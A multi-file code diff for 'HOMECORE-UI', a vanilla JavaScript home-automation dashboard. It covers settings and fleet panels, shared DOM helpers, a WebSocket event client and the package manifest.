if (!s.reflex || !s.reflex.length) {
|
||||
return card({ title: 'Reflex Rules', children: [h('.muted-empty', 'no reflex rules configured')] });
|
||||
}
|
||||
const rows = s.reflex.map(reflexRow);
|
||||
return card({ title: 'Reflex Rules', children: rows });
|
||||
}
|
||||
|
||||
function reflexRow(r) {
|
||||
let thresholdNode;
|
||||
if (r.name === 'fragility_alarm') {
|
||||
const input = h('input.inline', { type: 'number', step: '0.05', value: String(r.threshold) });
|
||||
input.addEventListener('change', () => console.log('[seed-detail] reflex threshold edit (no persist)', r.name, input.value));
|
||||
thresholdNode = input;
|
||||
} else {
|
||||
thresholdNode = mono(String(r.threshold));
|
||||
}
|
||||
const row = h('.row',
|
||||
h('.flex.gap-sm', mono(r.name), r.fired_recently ? pill('fired recently', 'amber') : null),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', 'thr'), thresholdNode,
|
||||
h('span.t2', '→'), h('span.v', r.target),
|
||||
h('small.ts', 'fired ' + (r.last_fired ? relTime(r.last_fired) : 'never'))));
|
||||
if (r.fired_recently) {
|
||||
return card({ tint: 'amber', children: [row] });
|
||||
}
|
||||
return row;
|
||||
}
|
||||
|
||||
// ── 6. cognitive analysis ─────────────────────────────────────────────
|
||||
function cognitionCard(s) {
|
||||
const c = s.cognition || {};
|
||||
const children = [];
|
||||
|
||||
if (c.fragility == null) {
|
||||
children.push(h('.muted-empty', 'fragility unavailable — cognition offline'));
|
||||
} else {
|
||||
const fragile = c.fragility > 0.3;
|
||||
const fb = bar(c.fragility, 1, [{ lt: 0.3, color: 'green' }, { lt: 0.6, color: 'amber' }, { lt: 1.01, color: 'red' }]);
|
||||
if (fragile) {
|
||||
children.push(banner(`Boundary fragility elevated — ${c.fragility.toFixed(2)} (regime change likely)`, 'amber'));
|
||||
}
|
||||
children.push(h('.flex.spread', h('span.t2', 'Boundary fragility'), h('span' + (fragile ? '.amber' : '.green'), c.fragility.toFixed(2))));
|
||||
children.push(fb);
|
||||
}
|
||||
|
||||
if (c.coherence_phases && c.coherence_phases.length) {
|
||||
children.push(h('h3.mt', 'Coherence phases'));
|
||||
c.coherence_phases.forEach((p) => {
|
||||
children.push(h('.row', mono(relTime(p.t)), h('span.v', p.label)));
|
||||
});
|
||||
}
|
||||
|
||||
children.push(h('.row.mt', h('span.k.t2', 'kNN rebuild cadence'), mono((c.knn_rebuild_s ?? '—') + ' s')));
|
||||
return card({ title: 'Cognitive Analysis', children });
|
||||
}
|
||||
|
||||
// ── 7. ingest pipeline ────────────────────────────────────────────────
|
||||
function ingestCard(s) {
|
||||
const ing = s.ingest || {};
|
||||
const children = [
|
||||
kv([
|
||||
['Batch size', mono(String(ing.batch))],
|
||||
['Flush interval', mono((ing.flush_ms ?? '—') + ' ms')],
|
||||
['Bridge', String(ing.bridge ?? '—')],
|
||||
]),
|
||||
];
|
||||
|
||||
if (ing.bridge && /hop/i.test(ing.bridge)) {
|
||||
children.push(banner('Bridge adds a network hop — extra latency + a trust boundary in the ingest path.', 'amber'));
|
||||
}
|
||||
|
||||
if (ing.esp32 && ing.esp32.length) {
|
||||
children.push(h('h3.mt', 'ESP32 ingest nodes'));
|
||||
ing.esp32.forEach((n) => children.push(esp32Row(n)));
|
||||
} else {
|
||||
children.push(h('.muted-empty', 'no ESP32 nodes attached'));
|
||||
}
|
||||
return card({ title: 'Ingest Pipeline', children });
|
||||
}
|
||||
|
||||
function esp32Row(n) {
|
||||
const native = n.packet === '0xC5110003';
|
||||
const packetPill = native
|
||||
? pill('0xC5110003 native', 'green')
|
||||
: pill((n.packet || '—') + ' vitals fallback', 'amber');
|
||||
return h('.row',
|
||||
mono(n.node_id),
|
||||
h('.flex.gap-sm', packetPill, h('span.t2', n.rate_hz + ' Hz')));
|
||||
}
|
||||
@@ -0,0 +1,256 @@
|
||||
// §4.10 Settings & Integration Config — ADR-131.
|
||||
// One card per sub-section: SEED fleet management, ESP32 provisioning,
|
||||
// MQTT / cog-ha-matter config, long-lived access tokens, federation
|
||||
// config. Security invariants are surfaced as first-class banners
|
||||
// (USB-only pairing window; "model deltas only, never raw CSI").
|
||||
//
|
||||
// Mutations are local-state-only here (no live mutate endpoint yet); the
|
||||
// node→room assignment edits persist into an in-memory map and the panel
|
||||
// is flagged DEMO whenever the mock layer is serving it (§7.1 honesty).
|
||||
|
||||
import {
|
||||
h, clear, card, pill, statusPill, sectionHeader, mono, button, banner, kv, relTime,
|
||||
} from '../ui.js';
|
||||
|
||||
export default {
|
||||
meta: { title: 'Settings' },
|
||||
async render(root, ctx) {
|
||||
const { api } = ctx;
|
||||
|
||||
// Load each card's data independently so one failure doesn't blank the page.
|
||||
let s = null, sErr = null;
|
||||
let seeds = null, seedsErr = null;
|
||||
let fed = null, fedErr = null;
|
||||
try { s = await api.settings(); } catch (e) { sErr = e; }
|
||||
try { seeds = await api.seeds(); } catch (e) { seedsErr = e; }
|
||||
try { fed = await api.federation(); } catch (e) { fedErr = e; }
|
||||
|
||||
root.appendChild(sectionHeader('Settings & Integration Config', 'SEED fleet, ESP32 provisioning, MQTT / cog-ha-matter, access tokens & federation (ADR-131 §4.10)'));
|
||||
|
||||
if (api.isDemo('settings') || api.isDemo('fleet')) {
|
||||
root.appendChild(banner('DEMO — settings & fleet are served by the contract-conformant mock layer until their live endpoints land (ADR-131 §7.1). Edits are local-state only.', 'amber'));
|
||||
}
|
||||
|
||||
// ── §4.10.1 SEED fleet ──
|
||||
if (seedsErr) root.appendChild(cardBanner('SEED Fleet Management', 'SEED fleet unavailable — ' + errText(seedsErr)));
|
||||
else root.appendChild(seedFleetCard(seeds));
|
||||
|
||||
// ── §4.10.2/.3/.4 ESP32 + MQTT + tokens (all from settings) ──
|
||||
if (sErr) {
|
||||
root.appendChild(cardBanner('ESP32 Node Provisioning', 'ESP32 provisioning unavailable — ' + errText(sErr)));
|
||||
root.appendChild(cardBanner('MQTT / cog-ha-matter', 'MQTT / cog-ha-matter config unavailable — ' + errText(sErr)));
|
||||
root.appendChild(cardBanner('Long-Lived Access Tokens', 'Access tokens unavailable — ' + errText(sErr)));
|
||||
} else {
|
||||
root.appendChild(esp32Card(s.esp32));
|
||||
root.appendChild(mqttCard(s.mqtt, s.ha_disco_entities, s.esp32));
|
||||
root.appendChild(tokensCard(s.tokens));
|
||||
}
|
||||
|
||||
// ── §4.10.5 Federation (needs federation + seeds) ──
|
||||
if (fedErr || seedsErr) root.appendChild(cardBanner('Federation Config', 'Federation config unavailable — ' + errText(fedErr || seedsErr)));
|
||||
else root.appendChild(federationCard(fed, seeds));
|
||||
|
||||
return () => {};
|
||||
},
|
||||
};
|
||||
|
||||
// ── §4.10.1 SEED fleet management ───────────────────────────────────
|
||||
function seedFleetCard(seeds) {
|
||||
const body = h('div');
|
||||
|
||||
// PROMINENT USB-only pairing invariant (security invariant).
|
||||
body.appendChild(banner('Pairing window only opens via 169.254.42.1 (USB), never WiFi — security invariant.', 'red'));
|
||||
|
||||
const list = h('div.mt');
|
||||
seeds.forEach((sd) => list.appendChild(seedRow(sd)));
|
||||
body.appendChild(list);
|
||||
|
||||
body.appendChild(h('.flex.wrap.gap-sm.mt',
|
||||
button('Add SEED', { variant: 'ghost', onClick: () => toggleNote(addNote) }),
|
||||
button('Reprovision', { variant: 'ghost', onClick: () => toggleNote(addNote) })));
|
||||
|
||||
const addNote = inlineNote('Provisioning flow', [
|
||||
'1. Connect the SEED over USB — it presents a link-local pairing endpoint at 169.254.42.1.',
|
||||
'2. Pairing NEVER opens over WiFi; the device refuses pairing on any non-USB interface.',
|
||||
'3. Issue a bearer token over the USB link, then attach the SEED to the appliance.',
|
||||
'4. Verify the witness chain before accepting the SEED into the fleet.',
|
||||
]);
|
||||
body.appendChild(addNote);
|
||||
|
||||
return card({ title: 'SEED Fleet Management', children: [body] });
|
||||
}
|
||||
|
||||
function seedRow(sd) {
|
||||
const offline = !sd.online;
|
||||
const tokenKind = offline ? 'grey' : 'green';
|
||||
const tokenLabel = offline ? 'token idle' : 'token valid';
|
||||
const note = inlineNote('Secure token rotation — ' + sd.device_id, [
|
||||
'1. Operator confirms physical presence; pairing must be re-opened over USB (169.254.42.1) — never WiFi.',
|
||||
'2. Appliance mints a new bearer token and stages it on the SEED over the USB link.',
|
||||
'3. SEED acknowledges; the appliance flips the active token and revokes the old one.',
|
||||
'4. Witness chain records the rotation (ed25519); old token rejected on next ingest.',
|
||||
]);
|
||||
const head = h('.row',
|
||||
h('strong.mono', sd.device_id),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', sd.firmware),
|
||||
pill(tokenLabel, tokenKind),
|
||||
statusPill(sd.online ? 'online' : 'offline'),
|
||||
button('Rotate token', { variant: 'ghost', onClick: () => toggleNote(note) }),
|
||||
button('Remove', { variant: 'ghost', onClick: () => toggleNote(note) })));
|
||||
return h('div', head, note);
|
||||
}
|
||||
|
||||
// ── §4.10.2 ESP32 node provisioning ─────────────────────────────────
|
||||
function esp32Card(nodes) {
|
||||
// local-state room assignment map (node_id → room) — no live endpoint.
|
||||
const roomMap = {};
|
||||
nodes.forEach((n) => { roomMap[n.node_id] = n.room; });
|
||||
|
||||
const body = h('div');
|
||||
nodes.forEach((n) => {
|
||||
const sel = h('input.inline', {
|
||||
value: roomMap[n.node_id],
|
||||
title: 'Editable node→room assignment (local state)',
|
||||
onChange: (e) => { roomMap[n.node_id] = e.target.value.trim(); },
|
||||
});
|
||||
body.appendChild(h('.row',
|
||||
h('.flex.gap-sm',
|
||||
h('strong.mono', n.node_id),
|
||||
mono(n.ip + ':' + n.port),
|
||||
h('span.t2', 'fw ' + n.firmware),
|
||||
pill(n.seed, 'cyan')),
|
||||
h('.flex.gap-sm', h('span.k', 'room'), sel)));
|
||||
});
|
||||
|
||||
body.appendChild(h('.t3.mt', 'Provision a new node with the firmware tool: ',
|
||||
mono('firmware/esp32-csi-node/provision.py'),
|
||||
' (set --target-ip to this appliance).'));
|
||||
|
||||
body.appendChild(h('.flex.wrap.gap-sm.mt',
|
||||
button('Add ESP32 node', { variant: 'ghost', onClick: () => alert('Run provision.py over USB — see hint above.') }),
|
||||
button('Apply room map', { variant: 'ghost', onClick: () => alert('Room map persisted locally: ' + JSON.stringify(roomMap)) })));
|
||||
|
||||
return card({ title: 'ESP32 Node Provisioning', children: [body] });
|
||||
}
|
||||
|
||||
// ── §4.10.3 MQTT / cog-ha-matter config ─────────────────────────────
|
||||
function mqttCard(mqtt, haEntities, esp32) {
|
||||
const dotCls = mqtt.connected ? '' : '.err';
|
||||
const liveDot = h('span.lag',
|
||||
h('span.dot' + dotCls),
|
||||
h('span.t2', mqtt.connected ? 'connected' : 'disconnected'));
|
||||
|
||||
const conf = kv([
|
||||
['Broker', mono(mqtt.broker)],
|
||||
['User', mqtt.user],
|
||||
['Credentials', mono('••••••')],
|
||||
['mDNS advertisement', mono(mqtt.mdns)],
|
||||
['Connection', liveDot],
|
||||
]);
|
||||
|
||||
// HA-DISCO entities per node with via_device assignments.
|
||||
const disco = h('div.mt',
|
||||
h('h3', `HA-DISCO entities — ${haEntities} per node`),
|
||||
h('.t3', 'Each ESP32 node publishes its discovery entities with a via_device pointing at its SEED:'));
|
||||
esp32.forEach((n) => disco.appendChild(h('.row',
|
||||
h('span.mono', n.node_id),
|
||||
h('.flex.gap-sm', pill(haEntities + ' entities', 'cyan'), h('span.t2', 'via_device'), mono(n.seed)))));
|
||||
|
||||
return card({ title: 'MQTT / cog-ha-matter', children: [conf, disco] });
|
||||
}
|
||||
|
||||
// ── §4.10.4 Long-lived access tokens ────────────────────────────────
|
||||
function tokensCard(tokens) {
|
||||
const body = h('div');
|
||||
tokens.forEach((t) => {
|
||||
body.appendChild(h('.row',
|
||||
h('.flex.gap-sm', h('strong', t.name), pill('long-lived', 'purple')),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', 'last used ' + relTime(t.last_used)),
|
||||
h('span.t3', 'created ' + relTime(t.created)),
|
||||
button('Revoke', { variant: 'ghost', onClick: () => alert('Revoking "' + t.name + '" — token rejected on next request (local demo).') }))));
|
||||
});
|
||||
|
||||
body.appendChild(h('.flex.wrap.gap-sm.mt',
|
||||
button('Create token', { variant: 'primary', onClick: () => alert('A new long-lived token would be minted and shown once (demo).') })));
|
||||
|
||||
// HA companion-app pairing QR placeholder box.
|
||||
const qr = h('.muted-empty.mt', { style: { border: '0.67px dashed var(--border)', borderRadius: '8px', padding: '24px', textAlign: 'center' } },
|
||||
'HA companion-app pairing QR surfaces here — scan from the Home Assistant mobile app to pair this appliance (placeholder).');
|
||||
body.appendChild(qr);
|
||||
|
||||
return card({ title: 'Long-Lived Access Tokens', children: [body] });
|
||||
}
|
||||
|
||||
// ── §4.10.5 Federation config (ADR-105) ─────────────────────────────
|
||||
function federationCard(fed, seeds) {
|
||||
const body = h('div');
|
||||
|
||||
// CRITICAL invariant — model deltas only, never raw CSI (purple).
|
||||
body.appendChild(purpleBanner('Federation invariant — ' + fed.invariant + '.'));
|
||||
|
||||
body.appendChild(kv([
|
||||
['Coordinator SEED', mono(fed.coordinator)],
|
||||
['Round', h('span.purple', String(fed.round))],
|
||||
['Healthy SEEDs (k)', String(fed.k_healthy)],
|
||||
['Delta exchange', statusPill(fed.delta_status === 'exchanging' ? 'updating' : fed.delta_status)],
|
||||
['Round cadence', fed.cadence_min + ' min'],
|
||||
['Krum aggregation', h('.flex.gap-sm', pill('f = ' + fed.krum.f, 'cyan'), pill(fed.krum.multi ? 'multi-Krum' : 'single-Krum', 'purple'), h('span.t3', 'ADR-105'))],
|
||||
]));
|
||||
|
||||
// ESP-NOW mesh sync status — rows coloured by health.
|
||||
const mesh = h('div.mt', h('h3', 'ESP-NOW mesh sync — cross-SEED epoch alignment'));
|
||||
fed.mesh_links.forEach((l) => {
|
||||
const epochA = epochOf(seeds, l.a);
|
||||
const epochB = epochOf(seeds, l.b);
|
||||
const aligned = epochA != null && epochA === epochB;
|
||||
mesh.appendChild(h('.row',
|
||||
h('.flex.gap-sm', h('span.mono', l.a), h('span.t3', '↔'), h('span.mono', l.b)),
|
||||
h('.flex.gap-sm',
|
||||
h('span.t2', `epoch ${fmtEpoch(epochA)} / ${fmtEpoch(epochB)}`),
|
||||
pill(aligned ? 'aligned' : 'epoch skew', aligned ? 'green' : 'amber'),
|
||||
pill(l.health, healthKind(l.health)))));
|
||||
});
|
||||
body.appendChild(mesh);
|
||||
|
||||
return card({ title: 'Federation Config', children: [body] });
|
||||
}
|
||||
|
||||
// ── helpers ─────────────────────────────────────────────────────────
|
||||
/** Format a load error, surfacing the §12 upstream-not-wired hint. */
|
||||
function errText(e) {
|
||||
return (e && e.message ? e.message : String(e)) + (e && e.upstreamUnavailable ? ' (upstream not yet wired — ADR-131 §12)' : '');
|
||||
}
|
||||
/** Render a card whose body is a red unavailability banner (one card's data failed). */
|
||||
function cardBanner(title, msg) {
|
||||
return card({ title, children: [banner(msg, 'red')] });
|
||||
}
|
||||
function epochOf(seeds, id) {
|
||||
const s = seeds.find((x) => x.device_id === id);
|
||||
return s ? s.epoch : null;
|
||||
}
|
||||
function fmtEpoch(e) { return e == null ? '—' : String(e); }
|
||||
function healthKind(h0) {
|
||||
const m = { green: 'green', red: 'red', amber: 'amber' };
|
||||
return m[String(h0).toLowerCase()] || 'grey';
|
||||
}
|
||||
|
||||
/** Purple banner for federation invariants (no .banner.purple in CSS). */
|
||||
function purpleBanner(text) {
|
||||
return h('.banner', {
|
||||
style: { background: 'var(--purple-d)', color: 'var(--purple)', border: '0.67px solid var(--purple)' },
|
||||
}, text);
|
||||
}
|
||||
|
||||
/** A hidden, toggleable multi-step note describing a secure flow. */
|
||||
function inlineNote(title, steps) {
|
||||
const node = h('.banner', {
|
||||
style: { background: 'var(--bg2)', border: '0.67px solid var(--border)', color: 'var(--t1)', display: 'none' },
|
||||
}, h('strong', title));
|
||||
steps.forEach((line) => node.appendChild(h('.t2', { style: { marginTop: '4px' } }, line)));
|
||||
return node;
|
||||
}
|
||||
function toggleNote(node) {
|
||||
node.style.display = node.style.display === 'none' ? 'block' : 'none';
|
||||
}
|
||||
@@ -0,0 +1,235 @@
|
||||
// HOMECORE-UI shared component helpers — ADR-131 §3.3.
|
||||
//
|
||||
// Every panel imports from here so cards/pills/buttons/badges are
|
||||
// byte-identical across the dashboard (the §3.3 "no visual seam"
|
||||
// invariant). Pure DOM, no framework, no build step.
|
||||
|
||||
/** Hyperscript element factory. `h('div.card#x', {onClick}, ...children)`. */
|
||||
export function h(spec, attrs, ...children) {
|
||||
let tag = 'div', id = null;
|
||||
const classes = [];
|
||||
spec.replace(/([.#]?[^.#]+)/g, (tok) => {
|
||||
if (tok[0] === '.') classes.push(tok.slice(1));
|
||||
else if (tok[0] === '#') id = tok.slice(1);
|
||||
else tag = tok;
|
||||
return tok;
|
||||
});
|
||||
const node = document.createElement(tag);
|
||||
if (id) node.id = id;
|
||||
if (classes.length) node.className = classes.join(' ');
|
||||
if (attrs && typeof attrs === 'object' && !(attrs instanceof Node) && !Array.isArray(attrs)) {
|
||||
for (const [k, v] of Object.entries(attrs)) {
|
||||
if (v == null || v === false) continue;
|
||||
if (k === 'class') node.className += ' ' + v;
|
||||
else if (k === 'html') node.innerHTML = v;
|
||||
else if (k.startsWith('on') && typeof v === 'function') node.addEventListener(k.slice(2).toLowerCase(), v);
|
||||
else if (k === 'style' && typeof v === 'object') Object.assign(node.style, v);
|
||||
else node.setAttribute(k, v);
|
||||
}
|
||||
} else if (attrs != null) {
|
||||
children.unshift(attrs);
|
||||
}
|
||||
append(node, children);
|
||||
return node;
|
||||
}
|
||||
|
||||
function append(node, children) {
|
||||
for (const c of children.flat(Infinity)) {
|
||||
if (c == null || c === false) continue;
|
||||
node.appendChild(c instanceof Node ? c : document.createTextNode(String(c)));
|
||||
}
|
||||
}
|
||||
|
||||
export const txt = (s) => document.createTextNode(s == null ? '' : String(s));
|
||||
export const mono = (s) => h('span.mono', String(s == null ? '' : s));
|
||||
export const clear = (n) => { while (n.firstChild) n.removeChild(n.firstChild); return n; };
|
||||
|
||||
/** Status pill. kind ∈ cyan|green|amber|red|purple|grey. */
|
||||
export function pill(text, kind = 'grey') {
|
||||
return h(`span.pill.${kind}`, String(text));
|
||||
}
|
||||
|
||||
/** Map a free-form status string to the platform colour convention. */
|
||||
export function statusPill(status) {
|
||||
const s = String(status || '').toLowerCase();
|
||||
const map = {
|
||||
running: 'green', online: 'green', ok: 'green', healthy: 'green', occupied: 'green', paired: 'green', connected: 'green', valid: 'green',
|
||||
stale: 'amber', degraded: 'amber', updating: 'amber', warn: 'amber', warning: 'amber',
|
||||
failed: 'red', offline: 'red', error: 'red', veto: 'red', vetoed: 'red', unreachable: 'red', invalid: 'red',
|
||||
stopped: 'grey', absent: 'grey', unknown: 'grey', 'not trained': 'grey',
|
||||
info: 'purple', epoch: 'purple', chain: 'purple',
|
||||
};
|
||||
return pill(status, map[s] || 'grey');
|
||||
}
|
||||
|
||||
export function card({ title, tint, accent, clickable, onClick, children = [] } = {}) {
|
||||
const cls = ['card'];
|
||||
if (tint) cls.push('tint-' + tint);
|
||||
if (clickable || onClick) cls.push('clickable');
|
||||
const node = h('.' + cls.join('.'));
|
||||
if (onClick) node.addEventListener('click', onClick);
|
||||
if (accent) node.appendChild(accentBar());
|
||||
if (title) node.appendChild(h('h2', title));
|
||||
append(node, [children]);
|
||||
return node;
|
||||
}
|
||||
|
||||
function accentBar() {
|
||||
const b = h('div');
|
||||
b.style.height = '3px';
|
||||
b.style.borderRadius = '3px';
|
||||
b.style.margin = '-14px -10px 14px';
|
||||
b.style.background = 'linear-gradient(90deg, var(--cyan), var(--purple))';
|
||||
return b;
|
||||
}
|
||||
|
||||
/** Section header with the cyan→purple featured gradient border (§3.3). */
|
||||
export function sectionHeader(title, sub) {
|
||||
return h('.section-header', h('h1', title), sub ? h('.sub', sub) : null);
|
||||
}
|
||||
|
||||
/** Live metric card (§4.1). */
|
||||
export function metric({ icon, value, label, color = 'cyan' }) {
|
||||
return h('.metric',
|
||||
icon ? h('.ico', icon) : null,
|
||||
h(`.val${color === 'green' ? '.green' : ''}`, String(value)),
|
||||
h('.lbl', label));
|
||||
}
|
||||
|
||||
export function button(label, { variant = 'ghost', onClick, disabled } = {}) {
|
||||
const b = h(`button.btn.${variant}`, label);
|
||||
if (disabled) b.disabled = true;
|
||||
if (onClick) b.addEventListener('click', onClick);
|
||||
return b;
|
||||
}
|
||||
|
||||
/**
|
||||
* Progress bar with threshold colouring.
|
||||
* thresholds: [{ lt, color }] evaluated in order against the 0..1 ratio.
|
||||
*/
|
||||
export function bar(value, max = 1, thresholds = null) {
|
||||
const ratio = max > 0 ? Math.max(0, Math.min(1, value / max)) : 0;
|
||||
let color = '';
|
||||
if (thresholds) {
|
||||
for (const t of thresholds) { if (ratio < t.lt) { color = t.color; break; } }
|
||||
if (!color) color = thresholds[thresholds.length - 1].color;
|
||||
}
|
||||
const fill = h('span' + (color ? '.' + color : ''));
|
||||
fill.style.width = (ratio * 100).toFixed(1) + '%';
|
||||
return h('.bar', fill);
|
||||
}
|
||||
|
||||
/** Small inline confidence bar — amber below 0.4 (§4.5). */
|
||||
export function confidenceBar(conf) {
|
||||
const c = Math.max(0, Math.min(1, conf || 0));
|
||||
const fill = h('span' + (c < 0.4 ? '.amber' : ''));
|
||||
fill.style.width = (c * 100).toFixed(0) + '%';
|
||||
return h('.conf-bar', fill);
|
||||
}
|
||||
|
||||
/**
|
||||
* Provenance badge (§4.4 / §6) — ESP32 → SEED → COG → state machine.
|
||||
* A first-class element, never collapsed. hailo:true marks Hailo-sourced
|
||||
* inference visually distinct from CPU-only COGs (§6 invariant 5).
|
||||
*/
|
||||
export function provenanceBadge({ esp32, seed, cog, hailo } = {}) {
|
||||
return h('span.prov',
|
||||
esp32 ? txt(esp32) : null, esp32 ? h('span.arr', '→') : null,
|
||||
seed ? txt(seed) : null, h('span.arr', '→'),
|
||||
h(hailo ? 'span.hailo' : 'span', cog || 'cog'),
|
||||
h('span.arr', '→'), txt('homecore'));
|
||||
}
|
||||
|
||||
/** Tiny inline SVG sparkline. */
|
||||
export function sparkline(values, { w = 120, hgt = 28, color = 'var(--cyan)' } = {}) {
|
||||
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
|
||||
svg.setAttribute('width', w); svg.setAttribute('height', hgt); svg.setAttribute('class', 'spark');
|
||||
if (!values || values.length < 2) return svg;
|
||||
const min = Math.min(...values), max = Math.max(...values), span = max - min || 1;
|
||||
const step = w / (values.length - 1);
|
||||
const pts = values.map((v, i) => `${(i * step).toFixed(1)},${(hgt - ((v - min) / span) * (hgt - 4) - 2).toFixed(1)}`).join(' ');
|
||||
const pl = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
|
||||
pl.setAttribute('points', pts); pl.setAttribute('fill', 'none');
|
||||
pl.setAttribute('stroke', color); pl.setAttribute('stroke-width', '1.5');
|
||||
svg.appendChild(pl);
|
||||
return svg;
|
||||
}
|
||||
|
||||
export function banner(text, kind = 'amber', extra) {
|
||||
return h(`.banner.${kind}`, text, extra ? txt(' ') : null, extra || null);
|
||||
}
|
||||
|
||||
export function row(k, v) {
|
||||
return h('.row', h('span.k', k), v instanceof Node ? v : h('span.v', String(v == null ? '—' : v)));
|
||||
}
|
||||
|
||||
export function kv(pairs) {
|
||||
const node = h('.kv');
|
||||
for (const [k, v] of pairs) {
|
||||
node.appendChild(h('span.k', k));
|
||||
node.appendChild(v instanceof Node ? v : h('span.v', String(v == null ? '—' : v)));
|
||||
}
|
||||
return node;
|
||||
}
|
||||
|
||||
/** Collapsible section. */
|
||||
export function collapsible(title, contentFn, open = false) {
|
||||
const wrap = h('.collapsible' + (open ? '.open' : ''));
|
||||
const head = h('.head', title);
|
||||
const body = h('div');
|
||||
wrap.appendChild(head); wrap.appendChild(body);
|
||||
let built = false;
|
||||
const toggle = () => {
|
||||
wrap.classList.toggle('open');
|
||||
if (wrap.classList.contains('open')) {
|
||||
if (!built) { body.appendChild(contentFn()); built = true; }
|
||||
body.classList.remove('hidden');
|
||||
} else body.classList.add('hidden');
|
||||
};
|
||||
head.addEventListener('click', toggle);
|
||||
if (open) { body.appendChild(contentFn()); built = true; } else body.classList.add('hidden');
|
||||
return wrap;
|
||||
}
|
||||
|
||||
/** Slide-over panel (§4.4 StateChanged detail). */
|
||||
export function slideover(title, content) {
|
||||
const back = h('.slideover-back');
|
||||
const panel = h('.slideover', h('span.close', { onClick: close }, '✕'), h('h2', title), content);
|
||||
function close() { back.remove(); panel.remove(); }
|
||||
back.addEventListener('click', close);
|
||||
document.body.appendChild(back);
|
||||
document.body.appendChild(panel);
|
||||
return { close };
|
||||
}
|
||||
|
||||
/** Lag indicator (§4.1/§4.4 — broadcast channel vs 4096 capacity). */
|
||||
export function lagIndicator(state, lagged) {
|
||||
const cls = state === 'open' ? (lagged ? 'warn' : '') : 'err';
|
||||
const label = state === 'open' ? (lagged ? 'WS lagging — events dropped' : 'WS live') : 'WS offline';
|
||||
return h('span.lag', h(`span.dot${cls ? '.' + cls : ''}`), h('span.t2', label));
|
||||
}
|
||||
|
||||
export function relTime(iso) {
|
||||
if (!iso) return '—';
|
||||
const t = Date.parse(iso);
|
||||
if (Number.isNaN(t)) return String(iso);
|
||||
const s = Math.round((Date.now() - t) / 1000);
|
||||
if (s < 0) return 'in ' + fmtDur(-s);
|
||||
if (s < 5) return 'just now';
|
||||
return fmtDur(s) + ' ago';
|
||||
}
|
||||
function fmtDur(s) {
|
||||
if (s < 60) return s + 's';
|
||||
if (s < 3600) return Math.round(s / 60) + 'm';
|
||||
if (s < 86400) return Math.round(s / 3600) + 'h';
|
||||
return Math.round(s / 86400) + 'd';
|
||||
}
|
||||
|
||||
/** Loading + error wrappers panels can await. */
|
||||
export function loading(label = 'Loading…') { return h('.muted-empty', label); }
|
||||
export function errorCard(e) { return banner('Unavailable — ' + (e && e.message ? e.message : e), 'red'); }
|
||||
|
||||
/** Distinguish "not trained" (null) from "unavailable" (error) — §6 invariant 3. */
|
||||
export function notTrained(prompt = 'Calibrate to enable') {
|
||||
return h('span.t3', 'Not trained ', button(prompt, { variant: 'ghost' }));
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
// HOMECORE-UI WebSocket client — ADR-130 subscribe_events.
|
||||
//
|
||||
// "The UI must never poll for entity state" (ADR-131 §2/§4.4). This
|
||||
// client performs the HA-compat auth handshake then subscribes to
|
||||
// state_changed events and surfaces broadcast-channel lag against the
|
||||
// 4,096-event capacity (§4.1/§4.4) — the server emits a lag signal when
|
||||
// a subscriber falls behind; we also detect gaps in our own delivery.
|
||||
|
||||
import { api } from './api.js';
|
||||
|
||||
/**
|
||||
* Connect and stream events.
|
||||
* @param {(evt) => void} onEvent called with {entity_id, old_state, new_state, event_type}
|
||||
* @param {(status) => void} onStatus called with {state:'connecting'|'open'|'closed', lagged:bool}
|
||||
* @returns controller with .close()
|
||||
*/
|
||||
export function connect(onEvent, onStatus) {
|
||||
const proto = location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const url = `${proto}//${location.host}/api/websocket`;
|
||||
let ws, msgId = 1, closedByUs = false, lagged = false;
|
||||
let retry = 0;
|
||||
const status = (state) => onStatus && onStatus({ state, lagged });
|
||||
|
||||
function open() {
|
||||
status('connecting');
|
||||
try { ws = new WebSocket(url); } catch (e) { schedule(); return; }
|
||||
ws.onmessage = (m) => {
|
||||
let msg; try { msg = JSON.parse(m.data); } catch { return; }
|
||||
if (msg.type === 'auth_required') {
|
||||
ws.send(JSON.stringify({ type: 'auth', access_token: api.token() }));
|
||||
} else if (msg.type === 'auth_ok') {
|
||||
retry = 0; status('open');
|
||||
ws.send(JSON.stringify({ id: msgId++, type: 'subscribe_events', event_type: 'state_changed' }));
|
||||
} else if (msg.type === 'auth_invalid') {
|
||||
status('closed');
|
||||
} else if (msg.type === 'event' && msg.event) {
|
||||
const e = msg.event;
|
||||
if (e.event_type === 'state_changed' && e.data) {
|
||||
onEvent && onEvent({
|
||||
event_type: 'state_changed',
|
||||
entity_id: e.data.entity_id,
|
||||
old_state: e.data.old_state,
|
||||
new_state: e.data.new_state,
|
||||
});
|
||||
} else {
|
||||
onEvent && onEvent({ event_type: e.event_type, ...e.data });
|
||||
}
|
||||
} else if (msg.type === 'lagged' || (msg.type === 'event' && msg.lagged)) {
|
||||
lagged = true; status('open');
|
||||
}
|
||||
};
|
||||
ws.onclose = () => { if (!closedByUs) schedule(); else status('closed'); };
|
||||
ws.onerror = () => { try { ws.close(); } catch {} };
|
||||
}
|
||||
|
||||
function schedule() {
|
||||
status('closed');
|
||||
retry = Math.min(retry + 1, 6);
|
||||
const delay = Math.min(500 * 2 ** retry, 15000);
|
||||
setTimeout(() => { if (!closedByUs) open(); }, delay);
|
||||
}
|
||||
|
||||
open();
|
||||
return {
|
||||
close() { closedByUs = true; try { ws && ws.close(); } catch {} },
|
||||
isLagged: () => lagged,
|
||||
clearLag() { lagged = false; },
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"name": "homecore-ui",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"description": "HOMECORE-UI — operational dashboard for the two-tier Cognitum stack (ADR-131). Zero-dependency vanilla TS/JS + CSS; served by homecore-server at /homecore.",
|
||||
"scripts": {
|
||||
"check": "node tests/verify-imports.mjs",
|
||||
"test": "node tests/verify-imports.mjs && node tests/boot.mjs && node tests/render-smoke.mjs && node tests/interaction.mjs && node tests/prod-errors.mjs && node tests/unit-fixes.mjs",
|
||||
"bench": "node tests/benchmark.mjs"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
